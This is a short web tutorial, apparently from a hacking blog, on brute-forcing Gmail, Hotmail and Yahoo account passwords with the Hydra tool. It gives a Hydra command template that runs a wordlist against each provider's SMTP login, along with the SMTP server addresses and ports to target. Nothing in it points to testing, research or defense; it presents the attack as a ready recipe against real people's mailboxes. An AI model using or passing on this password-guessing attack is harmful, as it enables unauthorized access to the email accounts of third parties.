Bruteforce gmail hotmail yahoo using Hydra

Bruteforce gmail hotmail yahoo using Hydra.
This tutorial is about Bruteforce mail account. mail account like gmail,hotmail yahoo . For bruteforce we will use tool named called Hydra.
you can see details of hydra here: Hydra
we will use the following command:
hydra server smtp -l example@gmail.com -P wordlist -s port -S -v -V
Info about mail accounts
gmail
server: smtp.gmail.com
port: 465
hotmail
server: smtp.live.com
port: 587
yahoo
server: smtp.mail.yahoo.com
port:587